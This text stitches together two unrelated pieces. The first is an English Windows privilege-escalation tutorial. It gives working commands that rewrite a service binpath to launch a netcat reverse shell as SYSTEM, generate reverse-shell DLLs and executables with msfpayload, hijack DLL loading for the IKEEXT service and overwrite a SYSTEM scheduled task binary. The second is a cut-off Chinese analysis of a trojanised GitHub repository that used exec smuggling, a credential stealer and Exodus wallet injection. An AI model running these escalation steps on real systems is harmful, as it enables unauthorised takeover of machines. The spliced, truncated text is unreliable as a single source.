accesschk.exe which is a tool from Microsoft's Sysinternals Suite. Microsoft Sysinternals contains a lot of excellent tools, it's a shame that Microsoft hasn't added them to the standard Windows build. You can download the suite from Microsoft technet here. We will start off with Windows services as there are some quick wins to be found there. Generally modern operating systems won't contain vulnerable services. Vulnerable, in this case, means that we can reconfigure the service parameters. Windows services are kind of like application shortcut's, have a look at the example below. # We can use sc to query, configure and manage windows services. C:\Windows\system32> sc qc Spooler [SC] QueryServiceConfig SUCCESS SERVICE_NAME: Spooler TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Windows\System32\spoolsv.exe LOAD_ORDER_GROUP : SpoolerGroup TAG : 0 DISPLAY_NAME : Print Spooler DEPENDENCIES : RPCSS : http SERVICE_START_NAME : LocalSystem We can check the required privilege level for each service using accesschk. # We can see the permissions that each user level has, you can also use "accesschk.exe -ucqv *" to list all services. C:\> accesschk.exe -ucqv Spooler Spooler R NT AUTHORITY\Authenticated Users SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_USER_DEFINED_CONTROL READ_CONTROL R BUILTIN\Power Users SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_START SERVICE_USER_DEFINED_CONTROL READ_CONTROL RW BUILTIN\Administrators SERVICE_ALL_ACCESS RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS Accesschk can automatically check if we have write access to a Windows service with a certain user level. Generally as a low privilege user we will want to check for "Authenticated Users". Make sure to check which user groups you user belongs to, "Power Users" for example is considered a low privilege user group (though it is not widely used). Lets compare the output on Windows 8 and on Windows XP SP0. # This is on Windows 8. C:\Users\b33f\tools\Sysinternals> accesschk.exe -uwcqv "Authenticated Users" * No matching objects found. # On a default Windows XP SP0 we can see there is a pretty big security fail. C:\> accesschk.exe -uwcqv "Authenticated Users" * RW SSDPSRV SERVICE_ALL_ACCESS RW upnphost SERVICE_ALL_ACCESS C:\> accesschk.exe -ucqv SSDPSRV SSDPSRV RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS RW BUILTIN\Administrators SERVICE_ALL_ACCESS RW NT AUTHORITY\Authenticated Users SERVICE_ALL_ACCESS RW BUILTIN\Power Users SERVICE_ALL_ACCESS RW NT AUTHORITY\LOCAL SERVICE SERVICE_ALL_ACCESS C:\> accesschk.exe -ucqv upnphost upnphost RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS RW BUILTIN\Administrators SERVICE_ALL_ACCESS RW NT AUTHORITY\Authenticated Users SERVICE_ALL_ACCESS RW BUILTIN\Power Users SERVICE_ALL_ACCESS RW NT AUTHORITY\LOCAL SERVICE SERVICE_ALL_ACCESS This issue was later resolved with the introduction of XP SP2, however on SP0&SP1 it can be used as a universal local privilege escalation vulnerability. By reconfiguring the service we can let it run any binary of our choosing with SYSTEM level privileges. Let's have a look how this is done in practise. In this case the service will execute netcat and open a reverse shell with SYSTEM level privileges. Other options are certainly possible. C:\> sc qc upnphost [SC] GetServiceConfig SUCCESS SERVICE_NAME: upnphost TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\WINDOWS\System32\svchost.exe -k LocalService LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Universal Plug and Play Device Host DEPENDENCIES : SSDPSRV SERVICE_START_NAME : NT AUTHORITY\LocalService C:\> sc config upnphost binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" [SC] ChangeServiceConfig SUCCESS C:\> sc config upnphost obj= ".\LocalSystem" password= "" [SC] ChangeServiceConfig SUCCESS C:\> sc qc upnphost [SC] GetServiceConfig SUCCESS SERVICE_NAME: upnphost TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Universal Plug and Play Device Host DEPENDENCIES : SSDPSRV SERVICE_START_NAME : LocalSystem C:\> net start upnphost Service Shell (upnphost) We will not always have full access to a service even if it is incorrectly configured. The image below is taken from Brett Moore's presentation on Windows privilege escalation, any of these access rights will give us a SYSTEM shell. The important thing to remember is that we find out what user groups our compromised session belongs to. As mentioned previously "Power Users" is also considered to be a low privileged user group. "Power Users" have their own set of vulnerabilities, Mark Russinovich has written a very interesting article on the subject. The Power in Power Users (Mark Russinovich) - here Finally we will examine file/folder permissions, if we can not attack the OS directly we will let the OS do all the hard work. There is to much ground to cover here so instead I will show you two kinds of permission vulnerabilities and how to take advantage of them. Once you grasp the general idea you will be able to apply these techniques to other situations. For our first example we will replicate the results of a post written by Parvez from GreyHatHacker; "Elevating privileges by exploiting weak folder permissions". This is a great privilege escalation write-up and I highly recommend that you read his post here. This example is a special case of DLL hijacking. Programs usually can't function by themselves, they have a lot of resources they need to hook into (mostly DLL's but also proprietary files). If a program or service loads a file from a directory we have write access to we can abuse that to pop a shell with the privileges the program runs as. Generally a Windows application will use pre-defined search paths to find DLL's and it will check these paths in a specific order. DLL hijacking usually happens by placing a malicious DLL in one of these paths while making sure that DLL is found before the legitimate one. This problem can be mitigated by having the application specify absolute paths to the DLL's that it needs. You can see the DLL search order on 32-bit systems below: 1 - The directory from which the application loaded 2 - 32-bit System directory (C:\Windows\System32) 3 - 16-bit System directory (C:\Windows\System) 4 - Windows directory (C:\Windows) 5 - The current working directory (CWD) 6 - Directories in the PATH environment variable (system then user) It sometimes happens that applications attempt load DLL's that do not exist on the machine. This may occur due to several reasons, for example if the DLL is only required for certain plug-ins or features which are not installed. In this case Parvez discovered that certain Windows services attempt to load DLL's that do not exist in default installations. Since the DLL in question does not exist we will end up traversing all the search paths. As a low privilege user we have little hope of putting a malicious DLL in 1-4, 5 is not a possibility in this case because we are talking about a Windows service but if we have write access to any of the directories in the Windows PATH we win. Let's have a look at how this works in practise, for our example we will be using the IKEEXT (IKE and AuthIP IPsec Keying Modules) service which tries to load wlbsctrl.dll. # This is on Windows 7 as low privilege user1. C:\Users\user1\Desktop> echo %username% user1 # We have a win here since any non-default directory in "C:\" will give write access to authenticated users. C:\Users\user1\Desktop> echo %path% C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\; C:\Program Files\OpenVPN\bin;C:\Python27 # We can check our access permissions with accesschk or cacls. C:\Users\user1\Desktop> accesschk.exe -dqv "C:\Python27" C:\Python27 Medium Mandatory Level (Default) [No-Write-Up] RW BUILTIN\Administrators FILE_ALL_ACCESS RW NT AUTHORITY\SYSTEM FILE_ALL_ACCESS R BUILTIN\Users FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE SYNCHRONIZE READ_CONTROL RW NT AUTHORITY\Authenticated Users FILE_ADD_FILE FILE_ADD_SUBDIRECTORY FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE FILE_WRITE_ATTRIBUTES FILE_WRITE_EA DELETE SYNCHRONIZE READ_CONTROL C:\Users\user1\Desktop> cacls "C:\Python27" C:\Python27 BUILTIN\Administrators:(ID)F BUILTIN\Administrators:(OI)(CI)(IO)(ID)F NT AUTHORITY\SYSTEM:(ID)F NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F BUILTIN\Users:(OI)(CI)(ID)R NT AUTHORITY\Authenticated Users:(ID)C NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C # Before we go over to action we need to check the status of the IKEEXT service. In this case we can see it is set to "AUTO_START" so it will launch on boot! C:\Users\user1\Desktop> sc qc IKEEXT [SC] QueryServiceConfig SUCCESS SERVICE_NAME: IKEEXT TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k netsvcs LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : IKE and AuthIP IPsec Keying Modules DEPENDENCIES : BFE SERVICE_START_NAME : LocalSystem Now we know the necessary conditions are met we can generate a malicious DLL and pop a shell! root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O Name: Windows Command Shell, Reverse TCP Inline Module: payload/windows/shell_reverse_tcp Platform: Windows Arch: x86 Needs Admin: No Total size: 314 Rank: Normal Provided by: vlad902 <[email protected]> sf <[email protected]> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LHOST 127.0.0.1 yes The listen address LPORT 9988 yes The listen port Description: Connect back to attacker and spawn a command shell root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' D > /root/Desktop/evil.dll Created by msfpayload (http://www.metasploit.com). Payload: windows/shell_reverse_tcp Length: 314 Options: {"lhost"=>"127.0.0.1", "lport"=>"9988"} After transferring the DLL to our target machine all we need to do is rename it to wlbsctrl.dll and move it to "C:\Python27". Once this is done we need to wait patiently for the machine to be rebooted (or we can try to force a reboot) and we will get a SYSTEM shell. # Again, this is as low privilege user1. C:\Users\user1\Desktop> dir Volume in drive C has no label. Volume Serial Number is 948D-A98F Directory of C:\Users\user1\Desktop 02/18/2014 01:49 PM <DIR> . 02/18/2014 01:49 PM <DIR> .. 04/22/2013 09:39 AM 331,888 accesschk.exe 02/18/2014 12:38 PM 14,336 evil.dll 01/25/2014 12:46 AM 36,864 fubar.exe 01/22/2014 08:17 AM <DIR> incognito2 06/30/2011 01:52 PM 1,667,584 ncat.exe 11/22/2013 07:39 PM 1,225 wmic_info.bat 5 File(s) 2,051,897 bytes 3 Dir(s) 73,052,160 bytes free C:\Users\user1\Desktop> copy evil.dll C:\Python27\wlbsctrl.dll 1 file(s) copied. C:\Users\user1\Desktop> dir C:\Python27 Volume in drive C has no label. Volume Serial Number is 948D-A98F Directory of C:\Python27 02/18/2014 01:53 PM <DIR> . 02/18/2014 01:53 PM <DIR> .. 10/20/2012 02:52 AM <DIR> DLLs 10/20/2012 02:52 AM <DIR> Doc 10/20/2012 02:52 AM <DIR> include 01/28/2014 03:45 AM <DIR> Lib 10/20/2012 02:52 AM <DIR> libs 04/10/2012 11:34 PM 40,092 LICENSE.txt 04/10/2012 11:18 PM 310,875 NEWS.txt 04/10/2012 11:31 PM 26,624 python.exe 04/10/2012 11:31 PM 27,136 pythonw.exe 04/10/2012 11:18 PM 54,973 README.txt 10/20/2012 02:52 AM <DIR> tcl 10/20/2012 02:52 AM <DIR> Tools 04/10/2012 11:31 PM 49,664 w9xpopen.exe 02/18/2014 12:38 PM 14,336 wlbsctrl.dll 7 File(s) 523,700 bytes 9 Dir(s) 73,035,776 bytes free Everything is set up, all we need to do now is wait for a system reboot. For demo purposes I have included a screenshot below where I use an Administrator command prompt to manually restart the service. Service Shell (IKEEXT) For our final example we will have a look at the scheduled tasks. Going over the results we gathered earlier we come across the following entry. HostName: B33F TaskName: \LogGrabberTFTP Next Run Time: 2/19/2014 9:00:00 AM Status: Ready Logon Mode: Interactive/Background Last Run Time: N/A Last Result: 1 Author: B33F\b33f Task To Run: E:\GrabLogs\tftp.exe 10.1.1.99 GET log.out E:\GrabLogs\Logs\log.txt Start In: N/A Comment: N/A Scheduled Task State: Enabled Idle Time: Disabled Power Management: Stop On Battery Mode, No Start On Batteries Run As User: SYSTEM Delete Task If Not Rescheduled: Enabled Stop Task If Runs X Hours and X Mins: 72:00:00 Schedule: Scheduling data is not available in this format. Schedule Type: Daily Start Time: 9:00:00 AM Start Date: 2/17/2014 End Date: N/A Days: Every 1 day(s) Months: N/A Repeat: Every: Disabled Repeat: Until: Time: Disabled Repeat: Until: Duration: Disabled Repeat: Stop If Still Running: Disabled There seems to be a TFTP client on the box which is connecting to a remote host and grabbing some kind of log file. We can see that this task runs each day at 9 AM and it runs with SYSTEM level privileges (ouch). Lets have a look if we have write access to this folder. C:\Users\user1\Desktop> accesschk.exe -dqv "E:\GrabLogs" E:\GrabLogs Medium Mandatory Level (Default) [No-Write-Up] RW BUILTIN\Administrators FILE_ALL_ACCESS RW NT AUTHORITY\SYSTEM FILE_ALL_ACCESS RW NT AUTHORITY\Authenticated Users FILE_ADD_FILE FILE_ADD_SUBDIRECTORY FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE FILE_WRITE_ATTRIBUTES FILE_WRITE_EA DELETE SYNCHRONIZE READ_CONTROL R BUILTIN\Users FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE SYNCHRONIZE READ_CONTROL C:\Users\user1\Desktop> dir "E:\GrabLogs" Volume in drive E is More Volume Serial Number is FD53-2F00 Directory of E:\GrabLogs 02/18/2014 11:34 PM <DIR> . 02/18/2014 11:34 PM <DIR> .. 02/18/2014 11:34 PM <DIR> Logs 02/18/2014 09:21 PM 180,736 tftp.exe 1 File(s) 180,736 bytes 3 Dir(s) 5,454,602,240 bytes free Clearly this is a serious configuration issue, there is no need for this task to run as SYSTEM but even worse is the fact that any authenticated user has write access to the folder. Ideally for a pentesting engagement I would grab the TFTP client, backdoor the PE executable while making sure it still worked flawlessly and then drop it back on the target machine. However for the purpose of this example we can simple overwrite the binary with an executable generated by metasploit. root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O Name: Windows Command Shell, Reverse TCP Inline Module: payload/windows/shell_reverse_tcp Platform: Windows Arch: x86 Needs Admin: No Total size: 314 Rank: Normal Provided by: vlad902 <[email protected]> sf <[email protected]> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LHOST 127.0.0.1 yes The listen address LPORT 9988 yes The listen port Description: Connect back to attacker and spawn a command shell root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' R | msfencode -t exe > /root/Desktop/evil-tftp.exe [*] x86/shikata_ga_nai succeeded with size 341 (iteration=1) All that remains now is to upload our malicious executable and overwrite "E:\GrabLogs\tftp.exe". Once that is done we can get an early night sleep and wake up for our shell in the morning. An important thing to remember here is that we check the time/timezone on the box we are trying to compromise. To demonstrate this privilege escalation in action I fast-forwarded the system time. From the screenshot below you we can see that we are presented with our SYSTEM shell promptly at 9AM. Schtasks Shell (LogGrabberTFTP) C:\Users\user1\Desktop> dir Volume in drive C has no label. Volume Serial Number is 948D-A98F Directory of C:\Users\user1\Desktop 02/19/2014 01:36 AM <DIR> . 02/19/2014 01:36 AM <DIR> .. 04/22/2013 09:39 AM 331,888 accesschk.exe 02/19/2014 01:31 AM 73,802 evil-tftp.exe 01/25/2014 12:46 AM 36,864 fubar.exe 01/22/2014 08:17 AM <DIR> incognito2 06/30/2011 01:52 PM 1,667,584 ncat.exe 02/18/2014 12:38 PM 14,336 wlbsctrl.dll 11/22/2013 07:39 PM 1,225 wmic_info.bat 6 File(s) 2,125,699 bytes 3 Dir(s) 75,341,824 bytes free C:\Users\user1\Desktop> copy evil-tftp.exe E:\GrabLogs\tftp.exe Overwrite E:\GrabLogs\tftp.exe? (Yes/No/All): Yes 1 file(s) copied. These two examples should give you an idea about the kind of vulnerabilities we need to look for when considering file/folder permissions. You will need to take time to examine ALL the binpaths for the windows services, scheduled tasks and startup tasks. As we have been able to see accesschk is the tool of choice here. Before finishing off I'd like to give you a few final pointers on using accesschk. # When executing any of the sysinternals tools for the first time the user will be presented with a GUI pop-up to accept the EULA. This is obviously a big problem, however we can add an extra command line flag to automatically accept the EULA. accesschk.exe /accepteula ... ... ... # Find all weak folder permissions per drive. accesschk.exe -uwdqs Users c:\ accesschk.exe -uwdqs "Authenticated Users" c:\ # Find all weak file permissions per drive. accesschk.exe -uwqs Users c:\*.* accesschk.exe -uwqs "Authenticated Users" c:\*.* Final Thoughts This guide is meant to be a "fundamentals" for Windows privilege escalation. If you want to truly master the subject you will need to put in a lot of work and research. As with all aspects of pentesting, enumeration is key, the more you know about the target the more avenues of attack you have the higher the rate of success. Also keep in mind that you may sometimes end up elevating your privileges to Administrator. Escalating privileges from Administrator to SYSTEM is a non-issue, you can always reconfigure a service or create a scheduled task with SYSTEM level privileges. Now go forth and pop SYSTEM!!
-
跨供应链和代码库攻击技术分析
随着技术的发展,世界之间的联系变得更加紧密,攻击者使用的技术也在不断发展。攻击者通过不断地利用供应链和代码库中复杂的相互依赖关系,对组织、个人和社区造成重大风险。 近年来最令人担忧的攻击趋势之一是供应链攻击的增加,尤其是那些对代码库的攻击,这是全球网络安全领域的一个难题。根据欧盟网络安全机构(ENSA)发布的一份报告,62%的组织受到第三方网络事件的影响,只有40%的受访组织表示他们了解第三方网络和隐私风险。更令人担忧的是,38%的受访组织表示,他们不知道哪些网络问题是由第三方组件引起的,最近涉及供应链的网络攻击包括Apache Log4j, SolarWinds Orion和3CX的3CXDesktopApp。 在现代软件开发中,开发人员依赖第三方组件来简化开发过程,这使开发人员能够创建成本效益高、效率高且功能丰富的应用程序。但是,当这些受信任的组件受到攻击时会发生什么? 攻击者可以通过组织供应链中不太安全的元素,如第三方供应商或软件存储库间接渗透系统,甚至允许他们破坏受信任的组件,从而在更大、更安全的环境中获得立足点。恶意代码经常嵌入看似合法的软件库中,当开发人员集成这些组件,就会不知不觉地将漏洞和其他网络安全风险引入他们的核心系统。 本文深入研究了攻击者在看似合法的应用程序和代码库中植入恶意有效负载的复杂方法,并以最近示例作为研究对象。 技术分析 攻击者复制合法GitHub存储库的示例研究,然后用恶意代码进行木马化和攻击,策略性地用关键字填充其存储库描述部分,以最大限度地提高其在GitHub搜索中的可见性。 通过此分析,我们可以深入了解攻击者攻击第三方组件的攻击过程和技术,以下部分将使用活动命令与控制(C&C)服务器研究其中一个被木马化的项目,了解其内部工作原理。 通过exec smuggling web请求发起攻击 Discord-Boost-Tool的存储库名称和存储库的所有者 在所举示例中,攻击的第一阶段采用了一种我们称之为exec smuggling的新技术。该技术在一长串空白字符之后放置一个有效负载,将恶意内容从屏幕上推送出去。使用这种技术,下一阶段通过恶意请求调用检索,≠≠使用Python内置方法exec()执行。接下来,我们将根据示例概述exec smuggling 的具体实现步骤。 导入必要的依赖项 在导入request和fernet之前,恶意软件使用以下命令在Python中安装必要的依赖项,通过该命令安装依赖项包: 恶意软件安装并导入必要的依赖项 将恶意代码对象移出白名单 攻击者会添加一长串空白字符(在本例中是521个空格),将恶意代码移出白名单,从而隐藏代码对象,不被人发现。 使用exec()执行恶意负载 最后,通过调用Python的exec方法来执行代码对象。以下是解密后的恶意代码片段: 此代码对象向攻击者的命令和控制(C&C)服务器发出web请求,该服务器包含恶意负载,然后导致第二阶段的攻击。 执行走私后攻击进入第二阶段 攻击的第二阶段 据分析,攻击的第二阶段侧重于为进一步开发准备攻击环境。 设置环境 第二阶段包括准备环境的滴管,最初,它安装一系列Python包,如requests、httpx、pyperclip、pyotp、winregistry、psutil、pycryptodomex和asyncio等。然后,它识别用户系统上安装的所有Python版本,并检查每个版本的site-packages中是否存在Cryptodome目录。如果找到,它将此目录复制为Crypto,可能是为了确保与原有库的向后兼容性。随后,脚本创建一个解密有效负载,将其写入用户APPDATA目录中的一个名为pl.py的文件,在执行它而不显示窗口。 第二阶段使用Python的子进程模块进一步准备环境 攻击的第三阶段 环境准备好后,恶意软件进入攻击过程的第三阶段。 BlackCap-Grabber 第三阶段包含一个修改版的开源信息窃取项目,名为BlackCap-Grabber。它具有以下功能: 提取浏览器密码、cookie和浏览历史记录; 检索系统信息; 从应用程序和工具(如Steam, MetaMask和Exodus)窃取登录凭据; 绕过TokenProtector; 劫持Windows剪贴板以更改加密货币地址,将其内容替换为攻击者的钱包地址以及其他功能。 重要的是,原来的BlackCap-Grabber包括双钩(dual hook)技术,使用这种技术,代码的开发者也将收到由攻击者(BlackCap-Grabber用户)窃取的信息的副本。像BlackCap-Grabber-NoDualHook这样的项目会从源代码中移除植入的DualHook。 在执行时,恶意软件将受攻击系统的ComputerName发送到其C&C服务器。然后安装必要的Python包以确保恶意软件的功能。请注意,此代码不是原始BlackCap-Grabber的一部分,而是由攻击者添加的。 恶意软件发送带有受害者计算机名的POST请求,并安装额外的依赖项 下图展示了由恶意软件及其处理受害者信标的请求处理程序生成的初始网络流量的示例。 向包含受害者用户名的/ downloadhandler发出POST请求 攻击者添加的另一个功能是出口注入(exodus-injection),这在原始的BlackCap-Grabber源代码中不存在。出口注入允许攻击者使用攻击技术从Exodus Crypto Wallet(一种受新加密货币用户欢迎的加密货币钱包)窃取凭证和其他敏感信息。攻击者在其攻击链中使用多个开源的Exodus-Injection项目(https://github.com/loTus04/Exodus-Injection和https://github.com/dropout1337/exodus-injection)。 BlackCap-Grabber配置 BlackCap-Grabber的主要功能是劫持Windows剪贴板以更改加密货币地址,从受攻击的系统中检索敏感信息,并从各种web浏览器将其保存到文件中以供泄露。 BlackCap-Grabber准备敏感信息,如浏览器cookie、加密货币地址和剪贴板信息 BlackCap-Grabber使用upload()方法处理敏感信息数据,以便上传到攻击者的基础设施 BlackCap-Grabber使用LoadRequests方法从受害者发送POST请求以进行数据提取 使用上图中的逻辑,攻击者向基础结构发送包含泄露的密码、cookie和加密货币地址的POST请求。 攻击者通过POST请求将泄露的数据发送到/handler终端 在此示例中,恶意软件将包含浏览器cookie等内容的恶意包从受攻击系统中泄漏到攻击者控制的主机。攻击者使用web请求处理程序来处理从受害设备上成功窃取的包。 另外一个密码示例通过POST请求发送到/handler终端 以上是我们发现的附加POST请求,其中包含由攻击者从受攻击的受害者向处理程序/句柄泄露的敏感信息。 探索Exodus和ElectronJS组件 经过调查,我们确定Exodus桌面钱包是使用ElectronJS框架构建的,基于本地Exodus安装的资源目录中存在的app.asar文件,该框架用于捆绑和打包应用程序的资源。Asar压缩文件类似于.zip或.tar文件,但专门为ElectronJS应用程序设计。 攻击链第三阶段的一个主要组成部分涉及通过操作底层的ElectronJS应用程序在受攻击用户的设备上植入恶意的Exodus桌面钱包应用程序,这使得攻击者可以窃取与Exodus钱包相关的凭证,从而实施攻击,并最终窃取属于受害者的加密货币和不可替代代币(nft)。 ElectronJS和Exodus这两个漏洞是由关联的。早在2018年,基于远程代码执行漏洞CVE-2018-1000006(CVSS 8.8)的Electron就可以被利用。研究人员很快指出,攻击者可以通过滥用电子协议处理程序来利用这个漏洞。 如前所述,ElectronJS应用程序被打包为app.asar压缩文件,其中包含应用程序的源代码和各种应用程序资产。Asar压缩文件类似于.zip或.tar文件,是专门为ElectronJS应用程序设计。 什么是Exodus? Exodus是一个数字资产平台,允许用户存储、管理和交换加密货币和NFT。 Exodus提供各种钱包,如Web3钱包、移动钱包、桌面钱包、Trezor硬件钱包,以及与加密货币应用程序的集成。 Exodus桌面钱包应用程序 Exodus桌面钱包(Exodus Desktop Wallet)是Exodus的桌面应用程序。Exodus桌面钱包支持所有主要的操作系统,如微软、MacOS和Linux,通过用户友好的图形用户界面(GUI),可以存储和交易主要的加密货币和NFT。 通过web GUI访问Exodus桌面钱包 Exodus桌面钱包提供了一个直观的界面来访问加密货币钱包。解锁加密货币钱包需要密码,如Exodus桌面钱包应用程序GUI所示。 在设置用于备份钱包的助记符秘密短语时,Exodus会让用户打印助记符密钥作为安全设备。 使用物理助记键恢复Exodus钱包 当用户试图恢复钱包时,Exodus可能会要求他们参考助记秘钥的打印副本,并根据提供的数字选择正确的单词。出于安全考虑,Exodus被设计成一个使用密码和助记短语组合的自我保管钱包。 探索Exodus ElectronJS应用程序的主要组件 Exodus桌面钱包的app.asar文件可以解压缩到目标目录。在这个目录中,我们看到了应用程序的根目录,其中包括node_modules、src和应用程序的package.json。 Exodus桌面钱包的NodeJS后端 关键后端文件相关的Exodus桌面钱包 Exodus ElectronJS应用程序的主要组件包括应用程序的主逻辑(包含在src/app/main/index.js中)、钱包组件(包含在src/app/wallet/index.js中)和表示逻辑(包含在src/app/static/中),后者将NodeJS后端文件导入到应用程序的前端表示中。 正在攻击Exodus桌面钱包的ElectronJS应用程序 通过使用注入技术,攻击者可以通过替换app.asar压缩,将Exodus桌面钱包的ElectronJS应用程序替换为恶意的ElectronJS应用程序,该压缩文件由Exodus桌面钱包读取。这个应用程序是一个全功能的复制品Exodus桌面钱包,攻击者将其功能改变,以窃取钱包信息,包括密码和助记符信息。 inject()函数负责注入恶意的Exodus桌面钱包 在上图所示的代码中,攻击者执行一系列检查,以确定受攻击的设备是否安装了Exodus Desktop Wallet。 下面的代码片段是在Windows安装中Exodus应用程序使用的app.asar文件的位置。 Exodus钱包桌面Windows app.asar路径: 同时,下面的代码片段是Linux安装中Exodus应用程序使用的app.asar文件的位置: Exodus钱包桌面Linux app.asar路径: 如果发现Exodus,恶意代码将继续如下操作: 1.从攻击者控制的基础设施下载并读取恶意修复的app.asar文件。 2.终止现有的Exodus进程。 3.将恶意的app.asar写入Exodus应用程序资源目录中的Exodus app.asar文件中。 如果在设备上找不到Exodus桌面钱包的行为 如果在目标设备上没有找到Exodus,恶意代码将继续下载文件stromrechung.py到\Microsoft\Windows\Start Menu\Programs\Startup。该文件将在系统启动时执行。 如果没有找到Exodus,“miner.exe”将从另一个攻击者域下载并安装 Python用于执行恶意批处理文件,其中包含“miner.exe”的下载和运行逻辑。 恶意文件stromrechnung.py是一个python文件,包含以下逻辑: 1.为Windows批处理文件创建一个Python函数; 2.使用陆地驱动程序(LoLDrivers)编写逻辑以绕过UAC; 3.编写PowerShell命令将加密货币挖矿器(miner.exe)下载到受害者的设备上; 4.运行Python函数,该函数使用 subprocess.popen 方法执行批处理文件。 在Exodus桌面钱包的ElectronJS应用程序中注入代码 在示例中,有三个不同的文件被攻击者改变了,具体将在后面介绍。 恶意注入后端unlock()函数(src/app/wallet/index.js) 主要注入发生在src/wallet/index.js中,攻击者在解锁函数中注入恶意POST请求。POST请求包含钱包密码、助记密钥和钱包目录。 文件src/app/wallet/index.js被攻击,泄露密码、助记符和钱包信息给攻击者 允许打开钱包域(4.9.1.2. src/app/main/index.js) 即使在干净的Exodus应用程序将钱包域限制为Exodus的位置,攻击者也可以修改主index.js文件以允许所有钱包域。 文件src/app/main/index.js修改域名列表以允许所有钱包域名 4.9.1.3. src/static/wallet.html:禁用内容安全策略(CSP) 内容安全策略(CSP)作为一个额外的安全层,用于识别和抵御特定形式的攻击,例如跨站点脚本(XSS)和数据注入攻击。connect-src指令限制了可以通过脚本接口加载的url。 文件src/app/main/index.js被修改为禁用应用程序的CSP 我们发现,攻击者有效地禁用了CSP,以允许从所有url到Exodus wallet.js组件的数据连接。 Discord-Boost-Tool GitHub存储库 接下来,我们将探讨Discord-Boost-Tool的特性及其一些有趣的组件。 discord-boost-tool的起源 在本文所列举的示例中,受攻击的Discord-Boost-Tool源自2022年底的原始Discord-Boost-Tool存储库。这个工具允许用户使用NitroBot帐户来提升他们的Discord服务器,它被GitHub用户PatrickPagoda迅速分叉(fork)并修改,通过恶意PyPi包攻击不知情的用户,该用户多次将恶意Python包上传到PyPi注册表中。值得一提的是,与PatrickPagoda相关的原始GitHub帐户在7月底至8月的某个时候被删除了。根据我们所做的分析和PatrickPagoda从GitHub上删除后的时间框架,我们强烈怀疑所分析的存储库与这个已死亡的用户有关。fork是UNIX或类UNIX中的分叉函数,fork函数将运行着的程序分成2个(几乎)完全一样的进程,每个进程都启动一个从代码的同一位置开始执行的线程。这两个进程中的线程继续执行,就像是两个用户同时启动了该应用程序的两个副本。fork系统调用用于创建一个新进程,称为子进程,它与进程(称为系统调用fork的进程)同时运行,此进程称为父进程。创建新的子进程后,两个进程将执行fork()系统调用之后的下一条指令。子进程使用相同的pc(程序计数器),相同的CPU寄存器,在父进程中使用的相同打开文件。 来自PatrickPagoda的Discord-Boost-Tool PatrickPagoda版本的Discord-Boost-Tool使用了恶意的PyPi包 通过GitHub代码库进行供应链攻击的后果 尽管PatrickPagoda的GitHub帐户已被停用,但源自PatrickPagoda存储库的初始分叉仍然存在,同时还包含有攻击的PyPi包。这种情况反映了供应链攻击中的一种令人担忧的模式,攻击者可以通过合并有攻击的依赖关系来污染工具。 随后,他们通过上传到GitHub等平台来传播这些工具。然后,社区继续分叉这些受攻击的存储库,这反过来又导致进一步的分叉,从而扩大了攻击的范围。关于代码共享的滥用,也说明了组织采用全面的供应链风险管理(SCRM)程序的必要性。 使用PatrickPagoda的恶意存储库“installpylibsqlite”的示例存储库 使用PatrickPagoda恶意存储库“pipcryptliberyV2”的示例存储库 通过GitHub社区传播 这些工具在GitHub、Discord和Telegram等平台上激增,许多用户只是手动共享工具。不过使用者并不知道这些工具的起源,这是令人担忧的,因为理想情况下,只有当用户能够确认他们正在交互的代码库的完整性时,才应该使用软件。 用户随机共享受感染的工具 用户从未经验证的来源共享工具 我们还发现,一些用户也在Telegram上出售这个工具。 在Telegram上分享和销售工具 这个修改后的工具在GitHub存储库中以不同的形式出现,并在Telegram和Discord等平台上传播。 分析Discord-Boost-Tool恶意提交史 恶意的Discord-Boost-Tool首次提交是在2023年7月10日,到现在总共有78次提交。在第一次提交时,攻击者试图从update.py中的PyPi安装一个名为pipcoloringskitsV1的恶意包。此外,所有其他Python文件都被exec和request .get的组合所攻击。 攻击者的提交历史 exec smugglingGitHub提交 此攻击者使用exec smuggling技术来执行恶意有效负载的检索。 exec smuggling提交到" utils/checker.py " exec smuggling提交“utils/token .py” 恶意提交PyPi 开发者还有一个重要的提交历史,其中恶意PyPi包被用来攻击和危害受害者。 将恶意PyPi包" pipcoliringskitsV1 "提交到" 